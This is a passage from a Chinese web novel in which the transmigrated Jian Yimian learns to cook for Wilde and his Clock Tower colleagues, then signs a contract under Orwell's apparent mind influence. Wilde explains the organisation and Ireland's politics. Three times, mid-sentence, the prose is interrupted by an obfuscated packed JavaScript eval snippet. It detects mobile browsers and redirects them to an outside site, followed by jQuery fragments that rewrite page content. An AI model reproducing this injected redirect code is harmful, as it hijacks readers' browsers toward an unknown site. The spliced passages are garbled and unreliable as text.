烤得发硬的面包片,一股腥味的水煮蛋,还有那永远都会被做成罐头的豆子,这些食物正在摧毁他的味蕾。 一次偷跑中,茧一眠在英国人开的中餐馆里吃到“炸鱼薯条盖饭”后,信仰彻底崩溃了。 茧一眠再也无法忍耐了,他要学做饭。 就现在,立刻,马上。 以前在华国,吃饭全靠拼好饭,他没怎么动过手。 他通过王尔德告诉他的小路来回跑了好几个书店,找到了几本全中文的菜谱《家常菜一本通》《卤味大全》《从零开始的学做饭》。 他没打算一次性挑战最高难度,先从简单的开始。青椒炒肉丝,肉沫土豆丝,这些应该不难。 采购清单写了满满一页。 茧一眠拿着单子在超市转了好几圈才找齐东西。调料区倒是好办,华人超市里生抽、老抽、蚝油一应俱全。但是某些特定的食材就得费点心思了——话说,菜谱上写的葱花到底是大葱还是小葱? 算了,都买点吧。 购物车渐渐装满:铁锅、菜板、厨刀、碗筷,还有各种调料和食材。茧一眠看着手推车里的东西,突然有种要组建新生活的幸福感。 “叮咣、叮咣”—— 厨具碰撞的声音从楼下传来,惊动了正在画室准备作画的王尔德。 他循声下楼,看到茧一眠正在厨房里忙活,各种锅碗瓢盆摆了一地。 “你这是要做饭?”王尔德靠在门框上问。 茧一眠一边整理东西一边说,“是学做饭!等我学成归来,I have soup ,you have meat!” 我有汤,你有肉? 王尔德思考了下这句是什么意思,没明白,“你们那边的方言的直译?” 茧一眠点头,“嗯,你可以理解为,我有了好吃的,就会分享给你。” 王尔德恍然大悟,“原来如此,那我就拭目以待,等着尝尝你的手艺了。” 茧一眠:“没问题,你先等我研究研究。” 王尔德叮嘱了几句注意用火安全,便重新回了楼上。 …… 茧一眠忙活了一下午。 第一锅是因为火候太大,肉丝还没炒熟就已经黏锅糊底;第二锅不知道哪里出了问题,肉丝有股说不出的腥味;而第三锅本来眼看着就要成功了,结果他一个分神,青椒就从嫩绿色变成了枯黄色,肉丝也焦得不成样子。 在第四次尝试后,终于做出了一盘看着不错的青椒肉丝。 茧一眠解开围裙,重新洗了手。 他的菜谱上多出了很多笔记:中火炒肉要到七分熟(不能太久!),小火炒青椒保持脆嫩(记住是小火!),最后大火翻炒收汁。(千万不能随便改变火候,做饭最忌讳灵机一动!!) 有了之前的惨痛案例,茧一眠这次尝菜格外谨慎。他小心翼翼地夹起一块,送入口中。但下一秒,他的眼睛却一下子亮了起来。 这个味道……这个味道对了!他又连着吃了几口,激动得差点跳起来。 对劲!就是这个味道爽!!! —— 另一边,王尔德坐在画架前,手中的画笔悬在半空,迟迟未落。面前的画像几乎修改完成,只剩胸针上那颗宝石的颜色还未确定。 王尔德坚持道:“绿色更符合我的气质,翡翠色深邃神秘。” 画中的王尔德轻哼一声:“我不同意。金色才能彰显华丽和贵气。” 王尔德继续争辩:“金色太俗气了,像个暴发户。” 画像反击道:“绿色太沉闷,像个忧郁症患者。” 这场辩论已经持续了近半小时,双方都不肯让步。王尔德最终失去了耐心,从调色板上挑起一块既不是绿色也不是金色的颜料。 “既然这样,那就用红色。这样谁都不满意,公平。”王尔德一锤定音。 画中的王尔德露出一个难以置信的表情:“你不能这样!红色根本不——” 就在这时,楼下突然传来一声呼喊:“王尔德!我做好饭了,你要不要下来尝尝!” 这突如其来的声音让王尔德手一抖,调色板上的白色颜料滴落在画布上,正好落在胸针的宝石位置。乳白色的颜料在宝石表面形成了一个完美的高光,像是一颗钻石在月光下闪烁的效果。 王尔德和画像同时安静下来,注视着这个意外。 一阵无声的沉默后,画中的王尔德开口道,语气中的不满已经消失,“这样……似乎不错,钻石最纯粹的颜色,很适合我。” “你是说适合我。”王尔德纠正道。 这个小插曲意外解决了两人之间的争执。 王尔德凝视着画布上那个意外形成的钻石高光,盘算着要不要再修改一下形状。 画像中的王尔德似乎察觉到了他的想法,摇了摇头。 “别动它了,现在的样子很好。”画像说。 “只是修整一下轮廓。”王尔德拿起细笔,在钻石周围小心地描了几笔,又向后仰头审视效果。 然而调整后,反倒让那颗钻石显得不那么自然了。他皱起眉,放下画笔,又偏头换了个角度看去。 画像露出一个[我就知道会这样]的表情,“你看,我说过了,有些东西本就不需要多加修饰。” 王尔德不得不承认画像说得对。那滴意外落下的白色颜料,经过自然晕染后形成的高光,反而比他精心设计的效果更好。有时候艺术就是这样,过度雕琢反而失去了灵魂。 他有些懊恼的叹息了一声,“唉,就这样吧,下次画个新首饰。” 画中的王尔德也轻轻叹了口气,感慨对那个意外美丽消亡的惋惜。 片刻的沉默后,画像忽然抬起头,“对了,那个男孩还在楼下等你,听起来,他似乎做了些不错的东西等你品尝呢。” 王尔德一愣,这才想起茧一眠之前喊他下楼吃饭的事。 他又沉浸在创作中了,这是他的老毛病——一旦画到有灵感的地方,整个世界就仿佛消失了,只剩下他、画布和颜料构成的小世界。有时候他能连续画十几个小时而不觉疲惫,直到身体发出抗议才勉强停下。 画像催促道,“去吧,别让人家等太久。记得回来告诉我这顿饭的味道如何。” “你又不能吃。”王尔德说着,却还是答应了下来。 他放下调色板,最后看了一眼未完成的作品。颜料还没有完全干透,那颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063123|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻石在画像的胸前闪烁着明艳的白光。 门关上后,画室陷入了沉寂。 画中的王尔德不再维持着被画时的姿势,而是伸手取下了胸前的钻石胸针。他将那枚首饰举到眼前,在昏黄的灯光下审视着。 钻石的菱角折射出七彩的光芒,在他的指尖摇晃。与真实世界不同,画中的物品可以被拆卸、移动,就如同它们本就是独立存在的实体。 画中人站在那里,面带思索,仿佛在思考着什么。过了一会儿,他轻轻将胸针别回原处,靠在画布边缘,望向窗外的夜色。 王尔德微微活动了一下僵硬的肩膀,顺着楼梯缓缓下行。他闻到空气中飘来的食物香气,混合着某种他不太能适应的辛辣气息。 走进餐厅时,茧一眠正将最后几口米饭送入口中。 见到王尔德来,他小小惊讶了一下。他以为王尔德不来了呢,差点就要把对方那份饭也炫了。 王尔德注意到他常坐的那一侧摆放着刀叉、餐巾和他惯用的那只象牙白瓷杯,而茧一眠的位置则是一双筷子。这种细心的安排让王尔德心情颇好。 他走近餐桌,盘子中央盛着一道颜色鲜艳的菜肴——青椒和肉丝炒在一起,泛着鲜艳的光泽,除此之外,还能看到一些细小的辣椒籽。 王尔德的表情微微僵硬,但他还是维持着得体的微笑,“看起来很不错,卖相很好。”他评价道。 茧一眠似乎没注意到他的犹豫,兴冲冲地跑去厨房,不一会儿端着一碗冒着热气的米饭回来,放在王尔德面前。 “尝尝看,正宗的华国家常菜。”茧一眠期待地说。 王尔德坐下来,用叉子叉起一小块肉和青椒的组合,送入口中。 下一秒,一股前所未有的辛辣感瞬间席卷了他的味蕾。他强忍着没有立即吐出来,但剧烈的咳嗽还是暴露了他的不适。 茧一眠的脸色立刻变了:“怎么了?太辣了吗?” 王尔德不得不用餐巾遮住半张脸,一边咳嗽一边摇头。 茧一眠连忙倒了一杯水递给他。等辣感稍微缓解,王尔德才放下餐巾,努力维持着绅士的风度。 “我没事,是有点…出乎意料。”王尔德说,声音有些嘶哑。 在吃前,他已经做好心理准备了,按常理来说,英国的青椒不会这么辣的。 茧一眠挠了挠脸,在他的认知里,英国青椒几乎没有辣味,不够劲,所以他特意买了墨西哥青椒。 “要不算了吧,不能吃就别吃了。”茧一眠伸手想要收走王尔德的盘子。 王尔德按住他的手,说道:“不用,这个挺好的。我不是不能吃辣,只是英国这边不太流行辣食,我已经很久没吃过,一时呛住了。” 茧一眠的表情明显表示他并不相信,但也没有戳穿:“你喜欢什么口味的菜?我以后还会研究别的菜。” “我的口味偏甜一些,不太习惯太咸或太重的味道。”王尔德如实回答。 “行,那以后给你做广东辣的酸甜口味菜。”茧一眠记下王尔德的口味。 王尔德:“……关东,辣?” 茧一眠:“是广,东,辣——guang dong la.” 王尔德:“那是什么意思?” 茧一眠:“不能吃辣的人能承受的辣度的意思。” 王尔德:………… 9. 第 9 章 钟塔侍从的新人总训已经进行到第三天了。 今天一早,茧一眠便把炒好的土豆丝肉沫装进新买的保温饭盒。 这是他特意为自己准备的午餐便当。经过两天的体验,他实在受够了钟塔侍从员工餐厅的标配的三件套——面包、奶酪加番茄汤,偶尔配上一块巧克力。 训练室里,总监约翰·济慈已经在等候了。若说王尔德是张扬的孔雀,这位同为唯美主义者的济慈则更像一只表面温和、内心邪恶的绵羊。 这两位导师的训练风格既截然不同又出奇相似。 王尔德的训练直接狠辣,从不遮掩目的;而济慈则温柔得多,他会笑眯眯地说,“今天就练习基础动作,很轻松的。”结果练着练着,训练量就悄悄往上加。 有一次,济慈跟茧一眠说就练习两个小时。结果他把屋子里的钟表都收走,等茧一眠精疲力竭地走出训练室,发现太阳都快下山了。 训练后的茧一眠总是含着一肚子的怨气,但看到济慈那张人畜无害的笑脸,到嘴边的抱怨又咽了回去。 今日份的负重训练也如常进行。茧一眠举着“济慈口中的三十斤”的杠铃(他怀疑这重量至少翻了一倍)。 他整个人像被榨干的柠檬,全靠饭盒里那口肉沫土豆丝吊着气,脑子里只有一个念头——坚持,就要吃饭了。 训练一结束,他立马就抱着饭盒冲向休息室的微波炉。热气腾腾的饭菜香味飘散开来,正在啃面包的同事们纷纷转头寻找香味的来源。 济慈走过来,用他特有的慈祥语气说:“你今天带便当了?闻起来真香。” 嘶,出现了,邪恶小老头。 不过提到自己做的饭菜,茧一眠多少有些小骄傲,“是我自己做的,要尝尝吗?” 两人在用餐室的小桌前坐下。茧一眠找来一个盘子,给济慈拨了些肉沫土豆丝。 济慈拿着叉子试了几下,发现肉沫太碎夹不住,只好换成勺子。他把肉沫盛在面包片上,尝了一口。 “这是你们国家的料理?” “是的!”茧一眠连连点头。 “真是美味,调味很特别。”济慈由衷地赞叹。 得到认可的茧一眠更来劲了,又给济慈拨了一些米饭:“配米饭会更好吃,可以拌在一起吃。” 济慈学着他说的做,把肉沫和米饭拌在一起。才吃了两口,就被这个新奇的吃法征服了。 这时,隔壁训练室的另一个异能者也被香味吸引过来:“这是什么?闻起来好香啊。” “要尝尝吗?”茧一眠大方地又分出一份。 又分了几个人后,茧一眠低头看看自己的饭盒,已经少了大半,他只好去员工餐台拿了两片面包。不过看着这帮英国人赞不绝口的样子,这点牺牲倒也值得。 连续几天,茧一眠的便当都变成了“大锅饭”。后来他索性每天都多带两份,一份给王尔德,一份给同僚。 但随着训练强度的提升,这种生活变得越来越吃力。最近他回到庄园后就直接倒在床上,连衣服都懒得换就睡过去了,更别提做饭了。 今天的训练是最折磨人的“耐疲劳测试”。茧一眠穿着负重背心,在跑步机上保持匀速前进。他已经跑了两个小时,浑身的肌肉都在叫嚣着抗议。 济慈说等这轮计时结束就能去休息,但这时,调查部的人来访。 茧一眠眼睁睁地看着济慈停下计时,但是没停下他脚下的跑步机,优哉游哉的和人在门外聊天。 汗水顺着茧一眠的脸颊滑落,十分钟……二十分钟……半个小时过去了。 两人还在外面有说有笑。 就在茧一眠觉得自己快要支撑不住的时候,王尔德从走廊经过。他透过玻璃看到疲惫不堪的茧一眠,愉快地朝他挥了挥手,然后若无其事地走开了。 茧一眠:……bur?这些人是串通好了要折磨他吗? 终于,济慈和狄更斯聊完回来,重新按下计时器。“还有半小时,加油。” 邪恶绵羊进化成邪恶老山羊了!!! …… 茧一眠颤抖着小腿走出训练室。他没带便当,但也不想去员工食堂。 正巧遇到之前尝过他便当的一个同事,那人说附近新开了家中餐馆,邀请茧一眠一起去吃。 茧一眠想着也好,既能吃饱饭,又能增加同事感情,就答应了。 穿过两条街,他们看到了那家所谓的中餐馆。店面装修得很…异国风情? 门口挂着红灯笼,但窗户上贴着充满印度风的曼荼罗花纹,招牌上的"CHINESEFOOD"用的还是泰式字体。整个店面看起来就像是把亚洲元素随意拼凑在一起。 菜单递上来时,茧一眠的表情更加困惑了。每道菜的照片都让他觉得陌生——浇着厚厚白酱的虾仁,裹着生菜和玉米的烤鸭卷,黄澄澄的咖喱饭。 同事很快点完了餐。金发碧眼的服务员见茧一眠一直在翻菜单,热情地凑过来:“需要推荐吗?这道‘皇家拼盘''是我们的招牌,很多华国人吃过都说味道地道!” 茧一眠迟疑着点了一份。 没多久,一个巨大的餐盘端了上来。盘子里,一半是米饭,一半是面条,上面浇着浓稠的咖喱汤,汤里漂浮着软塌塌的薯条和几块大块鸡肉。整盘菜的配色极具印度风格。 “这是……什么?”茧一眠将眼神从那盘东西上挪开,艰难地问。 “正宗咖喱口味中式拼盘!”店员兴奋地介绍。 茧一眠看到邻桌的人在吃一根金黄色的棒状物:“那又是什么?” “中式传统马苏里拉芝士棒!” “…………”那玩意不是意大利那边的吗,谁告诉你这是中式传统?? 茧一眠感觉一阵眩晕,挥手示意服务员离开。 整个餐厅,和华国有关的东西大概只有在座的茧一眠了。 他低头看着眼前这盘“中餐”,深深地闭上眼又睁开。不,这不是幻觉,这盘印度咖喱饭还真实地摆在他面前。 对面的同事已经开始狼吞虎咽,见他没动,关切地问:“怎么不吃?不合胃口吗?” “可能是训练太累了,没什么胃口。”茧一眠勉强笑道。 “多少也要吃一些,济慈先生说下午要加练,不吃饭肯定会晕的。” 一想到训练和济慈那张笑脸,茧一眠打了个寒颤。 他拿起勺子,心一横,闭着眼睛咽下第一口——咸,其次就是咖喱的味道。薯条软趴趴的,鸡肉很柴。 不好吃,非常不好吃。 茧一眠觉得他一口也吃不下去了。而对面的同事已经吃完了他原本的那份,还招手要了一份和茧一眠一样的。 看到茧一眠震惊的目光,他不好意思地挠挠头:“我太饿了,这个饭很好吃,和你之前做的饭一样好吃。” ……??? 茧一眠嘴角变直:“What are you speaking???” 同事以为他没听清,凑近了一点,用更慢更清晰的英语重复道,“哦,抱歉,我是说——你做的饭,和这家店的味道,一样好吃!” 他的表情真诚。 “………………” 茧一眠不记得当时自己是什么表情了。他机械地点点头,机械地喝了口水,机械地放下餐具。 下午的训练,济慈让他举负重,他就负;让他跑步,他就跑;让他和机器人对打,他就打。即便济慈又把四个小时的训练变成了六个小时,他也面无表情地继续。 回到王尔德庄园,他直接冲进厨房,动作快得管家只看到了残影。 他开始洗菜,切菜,做饭,刀刀带风。 王尔德探头,看他这阵势,想说什么,却被茧一眠冷峻的表情吓退了。 等菜做好,他小心地分装进保温盒,整整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063124|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐齐地码进冰箱。然后他又去了一家难吃店,买了几份饭,装进另一个新买的饭盒。 第二天午休时间,茧一眠把两种饭分别装在一模一样的饭盒里,递给同事们品尝。 他微笑着问,“味道怎么样?觉得哪个更好吃?” 同事们认真品尝后给出评价,结果是六比四。六个人喜欢他做的,四个人喜欢那家店的。 茧一眠维持着微笑收起饭盒,转身的瞬间,笑容立刻消失得一干二净。 这个实验他连续做了三天。每天都是不同的菜色,每天都换不同的人试吃。但结果都差不多,始终保持在六四开左右。 第三天下班后,茧一眠没有立刻收拾东西走人,而是独自坐在休息室,盯着两个空饭盒发呆。 他终于确定了一个事实: 这群该死的,没品的,没见识的,英国佬的嘴根本吃不出来味道的差别,他们就喜欢把淡而无味的食材煮到没有生命力,然后加入大量的盐和酱料——以此来杀死自己舌头的神经。 他们也不喜欢吃他做的饭,他们只是喜欢别人碗里的没吃过的饭。 夜色中,茧一眠拎着便当盒,心里编排着各种怨言,独自一人沿路走着。 回到庄园时,王尔德正在楼下喝茶。他瞥见茧一眠包里露出的餐厅外包装袋的一角:“你去那家快餐店吃饭了?那里的东西又咸又酸,味道很差。” 茧一眠呆滞片刻。他先是皱眉,然后眨眼,最后猛地瞪大眼睛,在意识到王尔德说了什么后,猛地转头:“真的吗?!” 王尔德奇怪地看着他,“不然呢?难道还能有假?” “那……那你觉得我做的饭怎么样?” 王尔德放下茶杯,“很好啊,尤其是你最近做的那些‘Guang Dong La’菜,我很喜欢。” 茧一眠的表情突然变得委屈起来,嘴巴撅得老高,眼睛里甚至隐隐有泪光。这副样子把王尔德都看懵了。 茧一眠声音哽咽,“王尔德!你不是该死的英国佬,你是个很好很好的爱尔兰人——” 王尔德:? 王尔德:“发生了什么?” 茧一眠:“英国佬没有品味!!!” 王尔德眨眨眼,不明所以:“虽然不知道为什么这么说,但这句话是正确的。” 茧一眠一屁股坐在沙发上,把便当盒丢到一边:“你不知道我经历了什么,一家所谓的‘正宗中餐馆''!结果里面全是印度饭!咖喱饭!还有那个凯文,说我在钟塔做的便当和那里的饭‘味道一样''!去他的一样!” 王尔德挑了挑眉,但没有打断他的发泄。 “我还费尽心思带便当,结果那些英国佬完全尝不出好坏!我把超市买的难吃便当和我自己料理放在一起给他们吃,他们说‘都还不错''?!” 王尔德终于明白了事情的来龙去脉,忍不住笑出声来:“英国人对食物的鉴赏能力确实令人堪忧。” 茧一眠深吸一口气,然后像泄了气的皮球一样瘫在沙发上,捂着脸呻吟道:“我为什么要给他们做饭啊……我恨他们。” 王尔德轻咳一声,掩饰住笑意:“如果能安慰到你的话,我想说我真的很喜欢你做的饭。” “真的吗?你最喜欢哪道?”茧一眠抬起头,从指缝里露出一只眼睛。 王尔德点点头,“前天那道叫做糖醋排骨的菜,酸甜适中,非常符合我的口味。” 茧一眠的脸上瞬间阴转晴,嘴角咧开笑容:“我也觉得那道好吃!当时我做饭的手感特别好!” “我明天给你做糖醋里脊,糖醋鲜蔬!味道一定比那些英国人的难吃菜强一百倍!” 王尔德看着这个情绪来得快去得也快的男孩,不禁摇摇头,语气却温和:“我很期待。不过说真的,别再和那些人计较了。他们的舌头早就被几百年的英国料理毁掉了。” 茧一眠狠狠点了点头。 10. 第 10 章 王尔德站在茧一眠身后,“保持这个姿势,呼吸要均匀,瞄准时不要屏气太久。” 枪械训练室里弥漫着火药味,物理意义上的。 茧一眠的肩膀被后坐力震得发麻,脚边堆积了一大堆弹壳。 按照钟塔侍从的安排,今天本该是异能理论和思想道德课程。但王尔德突然兴致大发,说要来“旁观”。结果不到半小时,他就宣布理论课太无聊,硬是把茧一眠拉去了训练场练习枪械。 王尔德递给他一个新弹匣:“再来一次,这次试试连发。” 就在这时,训练室的门被敲响。 奥威尔拄着手杖站在门口,脸上带着惯常的微笑,“打扰一下,我需要借用你的人一会儿。” 王尔德被打断,有些不悦地皱起眉:“非得是现在?我们正在训练。” “是的,现在。”奥威尔的笑容不变,但语气不容置疑。 空气中的火药味似乎更浓了,比喻意义上的。 最终,王尔德摆手道:“算了,去吧。今天就到这里,记住练的要领,明天继续。” 奥威尔微微颔首,示意茧一眠跟上。 茧一眠:……所以完全没人问他的意见吗? 他放下枪,跟着奥威尔走出训练室。 两人坐上电梯,慢慢向上爬升。通往情报部的路比他想象的要长,穿过一条条走廊,终于来到了这片标注着[您已在监控区域]的情报部。每个拐角都装着监控摄像头,镜头无声地转动着,追踪着过往的人。 来到奥威尔的办公室,这里让茧一眠想起了初次见面的审讯室。一样的素白墙壁,一样的整洁得近乎病态的环境。 茧一眠很疑惑,奥威尔为什么会亲自去叫他来这里,按理说即使有急事,也应该派下属通知吧。 “在想我为什么亲自找你?”奥威尔似乎看穿了男孩的心思,“只是恰好路过训练室,恰好看到你在里面,于是恰好顺路叫你过来了。” 他从抽屉里取出一份文件,翻开递过去:“你的训练成绩都不错。按规定是半个月后入职,不过我觉得现在就可以了。” 茧一眠犹豫着接过合同,一页页仔细阅读。 五年固定期限,每年两次绩效考核,退休年龄65岁……他左右翻开,特意检查了每一处小字,生怕漏掉什么陷阱。 “有什么问题吗?”奥威尔问。 “这里说的‘特殊情况可延长服务期限’是指什么?” 奥威尔的眼睛突然闪过一丝蓝光,解释道,“比如战|时动员之类的。这是标准条款,每份合同都有。” 茧一眠感觉大脑有点昏沉,点了点头。又看了两遍,确认没有其他问题,在最后签上自己的名字。 奥威尔递过一张银行卡,“这是你的工资卡,考虑到你的情况,我让财务提前把前三个月的工资打进去了。以及,钟塔侍从有专门的员工宿舍,如果觉得王尔德那边不方便,随时可以搬过来。” “好。” “你觉得钟塔侍从怎么样?和你想象的一样吗?” “还不错,就是训练很累。” “和其他同事相处得如何?” “还好,除了他们对菜的口味。” “想家吗?” “想。” 奥威尔眼角的笑纹舒展开来,眼神突然变得温柔,就像一个关心下属的好上司。但只要观察得仔细,就会发现那笑意却没有到达眼底。 他微微前倾身子,用一种近乎蛊惑的语气说:“只要好好干,以后自然会有自由。到时候想回家就回家。” 茧一眠觉得头有些发沉,保持清醒道:“我会努力的。” 奥威尔闭上眼睛,“行了,你可以走了。有问题随时可以来找我。” 走出情报部,茧一眠深吸一口气。 他摸了摸口袋里的工资卡。终于可以还清王尔德的钱了,之前花钱都是用的对方的卡,虽然那家伙看起来并不在意这些。不过能有自己的收入总归是好事。 他在大楼门厅看到了王尔德,对方正要下班的样子。茧一眠小跑过去。 王尔德早就站在这里等着了,见茧一眠终于过来,他不经意地瞥了眼大厅的监控摄像头,什么也没说。 车上,王尔德一直用一种古怪的眼神打量他。 “怎么了?”茧一眠被看得发毛。 王尔德撇撇嘴,“没事。看看你傻没傻。奥威尔找你干什么?” “问了些钟塔怎么样的问题,然后……签了个合同……”茧一眠说着说着声音越来越小,瞳孔猛地放大,“WOC,我是不是……我刚才签了个什么玩意?” 王尔德深深地看了他一眼。那眼神里有太多想说的话,但最终都化作一声轻叹。 茧一眠抱着头,感觉脑袋里一片混沌。他完全不记得合同上写了什么了,只记得自己最初的目的,“对了,王尔德,我的工资卡发下来了,得把钱还给你。” 王尔德说:“留着吧,那张卡就给你了。” 茧一眠:“不行,这是你的钱。” 王尔德语气平淡,“有什么不行的?反正我又不缺这一张卡。” “而且,你以为钟塔侍从的工资卡是普通银行卡?你用那张卡花的每一分钱,什么时候花的,在哪里花的,买了什么,都会被记录在案。” 茧一眠瞪大眼睛,“啊?单是我这样,还是所有人都这样?” 王尔德:“所有人,不过钟塔侍从里的老人都有自己的门路。比如在法国开个空壳公司,或者找个瑞士的私人账户。还有人会把钱转成加密货币。” 茧一眠:“这不是就是洗|钱吗?” 王尔德耸耸肩:“对啊,你不愿意碰这些。就老老实实用我的卡吧,至少不用担心被查消费记录。” 茧一眠想起另一件事,“还有,奥威尔说钟塔侍从有员工宿舍?” 王尔德斜眼瞥过去,“哦?住够大庄园了?想去那种小破单间?” “咳,我就是问问。”茧一眠突然觉得自己问了个蠢问题。 回到庄园时天已经黑了。王尔德让仆人准备了晚餐,但茧一眠一直心不在焉地用叉子戳着盘子里的食物。 他的大脑里有个声音在不停地说——没事的,合同没问题,别想那么多了。这个声音像催眠一样,试图让他遗忘今天发生的一切。但他又本能地觉得不对劲,拼命想要回忆办公室里的细节。这感觉就像在深水里摸索,每次好不容易抓住点什么,却又从指缝中溜走。 “别玩食物。”王尔德看不下去了。 茧一眠放下叉子,“我想不起来了,和奥威尔的对话,具体说了什么,签了什么,全都记不清了。” “很正常。你算是幸运的一批,至少还记得自己去过他办公室。有些人连这都想不起来。”王尔德的侧脸笼罩在明暗交界处,语调很平淡,仿佛只是在陈述某种事实。 管家给茧一眠倒了杯红茶,他端起茶杯,热气氤氲中他看着对面的王尔德:“你当时也是这样被招进来的吗?” 王尔德:“这是固定程序,合同是每个人都要签的,不过机灵的人会有自己的应对措施。” 茧一眠沉默片刻:“……我不机灵还真是抱歉啊。” 王尔德轻轻一笑:“走,去花园里坐坐。这种事在屋里说总觉得太闷了。” 夜晚的玫瑰园弥漫着淡淡的花香。两人在长椅上坐下。王尔德取出一支烟,在唇边轻轻叩了叩。 咔嚓一声轻响在静谧的花园里格外清晰。小小的火苗在他掌心跳动,映照出他微垂的睫毛和高挺的鼻梁。 他微微侧着头,金色的卷发在这个角度恰到好处地落在颊边,“有什么想问的就问吧。庄园内部很安全,不会有人监听。” “钟塔侍从究竟是什么存在?”这段时间以来,每当茧一眠询问,得到的都是一些模棱两可的答案。又是政府机构,又是异能管理部门,他始终不了解这个机构的本质。 王尔德靠在长椅上,吐出一口烟圈,“最早的它只是英国议会的一个小部门,专门处理异能相关的事务。那时候异能者还很少,都在议会和政府部门里任职。然而异能者越来越多,水平也越来越强……到后来政府的高层几乎都是异能者。” “普通人在一群异能者中根本没有竞争力,他们的位置被异能者占据,连首相大臣的位置也由异能者担任。这对普通民众来说太不公平,后来出现了一些变故,女王把异能者分离出来,单独成立了名为钟塔侍从的机构。” “而钟塔侍从发展到现在,已经成了一个披着官方外皮的驯养场。洗脑、收编、培训,把每个异能者都改造成国家需要的样子。但不得不承认,将异能者集中管理为国家效力这套体系很完善,也很有效。” 茧一眠学着王尔德的样子后仰靠着长椅,陷入沉思。 这种严苛制度对异能者来说确实不友好,处处受限。但从另一个角度想,如果让异能者们都在社会上自由发展,普通民众的安全又该怎么保障呢? “欧洲其他国家也是这样的制度吗?”茧一眠问。 “各有各的路子。法国那边更开放一些,有个巴黎公社,他们标榜只效忠于国家,不归属于任何个人或政党。搞得法国政府整天提心吊胆,生怕这群异能者哪天心血来潮把他们碗饭掀了……光是内部党 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063125|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派互斗就能把法国耗死。” “德国人倒是直接,直接把异能者编进军队。规矩比英国还严苛,那边到处都是精神系异能者,而且现在又搞出个德欧联邦,打着‘欧洲是一家’的旗号,拉拢起周边国家,意大利、挪威、奥地利都加入了。” 茧一眠想到书中那场欧洲异能大战,问道:“会开战吗?” “终有一战。”王尔德语气笃定。 “那华国那边呢?”茧一眠小心翼翼地问。 王尔德半阖双眼,回忆道:“稳步发展中。听说他们之前曾闹过一次□□,但后来治理得很好,现在那边的生活水平和人民富足程度比从前好太多了……” 茧一眠安静地听着。 说着说着,王尔德突然转过头,“说起来,你真的对自己是华国人这件事这么确定?” 茧一眠:“我当然确定,为什么这么问?” 王尔德沉吟片刻:“只是觉得奇怪。华国的人口普查做得很细致,钟塔侍从就算再厉害,也没法潜入大国抹掉信息。一个人的国籍记录说没就没,这种事不太常见。” 茧一眠轻嘶一声。这个问题对他来说格外复杂。严格说来,以他原本的时间线,这个年代,他还没有出生。但是他是穿越到了书里,所以会不会出生才是真正的问题。 “谁知道呢,希望我以后能有机会补办个户口吧。”他转移话题道,“说起来,你的故乡爱尔兰呢?还在搞独立运动吗?” “爱尔兰啊……”王尔德修长的手指夹着香烟送到唇边,仰头望向远处的夜空,“表面上说是和英国达成了友好关系。政策文件上写得很漂亮——爱尔兰和英国将携手共建美好未来。” 他的目光凝视着远方,仿佛要穿过这片夜色,看到爱尔兰的青山绿地,“事实上,现在的爱尔兰已经完全屈服于英国的政治影响。为了换取表面的和平,他们不得不将内部人才送进英国效力。” “所以你才会在这里?”茧一眠轻声问。 王尔德的嘴角带着一丝苦涩,“我们这些人,算是和平友好的见证。” 茧一眠突然明白了。难怪王尔德总是一副漫不经心的样子,难怪他对钟塔的规矩如此了解却又处处游离在边缘。当一个人连回家的路都被封死,还有什么能真正束缚他? 烟丝缓缓上升,在静谧的空气中轻轻扭曲、蜿蜒。 茧一眠向王尔德身边挪了挪,拍了拍对方的肩膀,“你看,今晚的月亮很漂亮。在爱尔兰的人们也和我们在看着同一轮月亮,再远的距离,只要抬头看月亮,就能觉得彼此很近。在我们那边,这叫‘天涯共此时’。” 王尔德看了他一眼,没说话。他手中的烟明明灭灭,已经燃到了尽头,却似乎被没有察觉。 两人就这么无言地坐在花园里。 过了好久好久,王尔德才开口道,“回去吧,回去休息。” 他的声音轻得像一声叹息。 “好。” …… 第二天,茧一眠早起来到钟塔总部,他决定去看看员工宿舍。即使不打算长久住在这里,也该了解一下。万一以后加班到太晚,不方便回庄园,在这里将就一晚也是个选择。 宿舍区在钟塔西侧,是栋六层的灰色建筑。门口的电子识别系统响起提示音,茧一眠的新工牌刚贴上去,一位管理员就迎了上来,像是早就等在那里。 茧一眠:“您好,我是新入职的茧一眠。” 管理员露出标准的职业微笑:“来看房间对吧,跟我来。” 管理员开始介绍基本情况。 每层二十个房间,公共休息室和小厨房。 501室的门在管理员的指纹验证下打开。二十平米的标准单人间,家具都是统一的浅灰色——单人床、衣柜、书桌,还有独立的卫浴。看起来简洁,但总给人一种冷冰冰的感觉。 